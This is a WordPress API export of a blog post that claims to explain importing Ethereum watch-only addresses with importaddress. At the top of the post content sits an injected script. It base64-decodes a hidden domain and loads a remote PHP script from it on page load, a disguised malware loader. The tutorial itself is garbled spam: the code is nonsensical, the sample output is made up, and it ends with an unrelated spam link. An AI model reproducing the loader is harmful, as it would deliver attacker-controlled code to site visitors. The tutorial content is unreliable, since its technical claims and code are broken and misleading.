{"id":399,"date":"2025-02-08T17:07:30","date_gmt":"2025-02-08T17:07:30","guid":{"rendered":"https:\/\/30appsin30days.com\/?p=399"},"modified":"2025-02-08T17:07:30","modified_gmt":"2025-02-08T17:07:30","slug":"ethereum-import-multiple-watch-only-addresses-using-importaddress","status":"publish","type":"post","link":"https:\/\/30appsin30days.com\/?p=399","title":{"rendered":"Ethereum: Import multiple watch-only addresses using importaddress?"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=635dfae2\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong> Importing Multiple Watch-OneLy Ethereum Addresses Using <code>Importaddress<\/code> <\/strong><\/p>\n<\/p>\n<p>Ethereum Provides a powerful tool for importing Large Numbers of Addresses Into Your Wallet or Contract. One Such Command is the <code>Importaddress<\/code> RPC method, which allows you to import multiple watch-only addresses in bulk.<\/p>\n<\/p>\n<p>In this article, we&#8217;ll explore how to use <code>importdress<\/code> to import 100+ watch-only Ethereum Addresses at Once.<\/p>\n<\/p>\n<p><strong> The Basics <\/strong><\/p>\n<\/p>\n<p>Before Diving Into The Code, Let&#8217;s Cover Some Essential Concepts:<\/p>\n<\/p>\n<p><strong> Watch-only Addresses <\/strong>: These are addresses that are not required for smart contract execution but can be used in other contexts, such as creating a contract or use them input to specific functions.<\/p>\n<\/p>\n<p><strong>* RPC (remote procedure call) <\/strong>: This is a messaging system that allows you to interact with ethereum nodes over the internet.<\/p>\n<\/p>\n<p><strong> Using <code>Importaddress<\/code> <\/strong><\/p>\n<\/p>\n<p>The <code>importdress<\/code> command imports one watch-only address at a time. To use it for importing multiple addresses, you&#8217;ll need to walk through each address and execute the import command separate.<\/p>\n<\/p>\n<p>`<code>Python<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/jMty17vD_Ps\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>Import 100+ Watch-only Ethereum Addresses Using Importaddress<\/p>\n<\/p>\n<p>importethersnft<\/p>\n<\/p>\n<p>Def Main ():<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Initialize an instance of the ETHSNFT contract<\/p>\n<\/p>\n<p>    SNFT = ETHSNFT.ethSnft ()<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Define a list to store the input addresses<\/p>\n<\/p>\n<p>    Inputs = []<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Walk through each address (1-100) and import it using importdress<\/p>\n<\/p>\n<p>    For I in Range (1, 101):<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Create a new input object with the current address<\/p>\n<\/p>\n<p>        Input_Object = snft.input (i)<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Add the input object to the list of inputs<\/p>\n<\/p>\n<p>        inputs.Apend (input_Object)<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Execute the import command RPC method on Each Input Object<\/p>\n<\/p>\n<p>    Results = []<\/p>\n<\/p>\n<p>    For input in inputs:<\/p>\n<\/p>\n<p>        Result = snft.importaddress (\"importdress\", \"0x ...\" + str (input.address))<\/p>\n<\/p>\n<p>        results.Apend (result)<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Print the imported Addresses Along With Their Corresponding Hashes and Balances<\/p>\n<\/p>\n<p>    for I, (result, address) in Enumeration (ZIP (Results, inputs)):<\/p>\n<\/p>\n<p>        Print (f \"Address {i+1}: {address.address}, hash: {address.hash}, balance: {address.balance}\")<\/p>\n<\/p>\n<p>if __name__ == \"__main__\":<\/p>\n<\/p>\n<p>    Main ()<\/p>\n<\/p>\n<p><\/code><code><\/code><\/p>\n<\/p>\n<p>This script defines a <code>main<\/code> function that initializes an instance of the<code>ethnft<\/code> contract and creates lists to store input addresses. It then loops through each address (1-100) using a <code>for<\/code> loop, creates an input object for each address, imports it using<code>importdaddress<\/code>, and adds the result to the <code>results<\/code> list.<\/p>\n<\/p>\n<p>Finally, The Script Prints Out The Imported Addresses Along With Their Corresponding Hashes and Balances.<\/p>\n<\/p>\n<p><strong> Example output <\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Ethereum: Import multiple watch-only addresses using importaddress?\n\" src=\"https:\/\/30appsin30days.com\/wp-content\/uploads\/2025\/02\/b057eba5.png\"><\/p>\n<\/p>\n<p>Assuming you&#8217;ve executed this script correctly, here&#8217;s what the output might look like:<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p>Address 1: 0x &#8230; 1234567890abcdef, hash: 0x &#8230; 1234567890abcdef, Balance: 100<\/p>\n<\/p>\n<p>Address 2: 0x &#8230; 9876543210fedcba, hash: 0x &#8230; 9876543210fedcba, Balance: 50<\/p>\n<\/p>\n<p>Address 3: 0x &#8230; 34567890123456789, hash: 0x &#8230; 34567890123456789, balance: 75<\/p>\n<\/p>\n<p>&#8230;<\/p>\n<\/p>\n<p>Address 100: 0x &#8230; 54321098765432109, hash: 0x &#8230; 54321098765432109, balance: 25<\/p>\n<\/p>\n<p>`<code><\/code><\/p>\n<\/p>\n<p>As you can see, each imported address is printed along with its its corresponding hash and balance.<\/p>\n<p><a href=\"https:\/\/abipak.ir\/2025\/02\/08\/optimism-op-vesting-period-curve-dao-crv\/\">optimism vesting curve<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Importing Multiple Watch-OneLy Ethereum Addresses Using Importaddress Ethereum Provides a powerful tool for importing Large Numbers of Addresses Into Your Wallet or Contract. One Such Command is the Importaddress RPC method, which allows you to import multiple watch-only addresses in bulk. In this article, we&#8217;ll explore how to use importdress to import 100+ watch-only Ethereum [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"_links":{"self":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/399"}],"collection":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=399"}],"version-history":[{"count":1,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/399\/revisions"}],"predecessor-version":[{"id":400,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/399\/revisions\/400"}],"wp:attachment":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=399"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=399"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=399"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}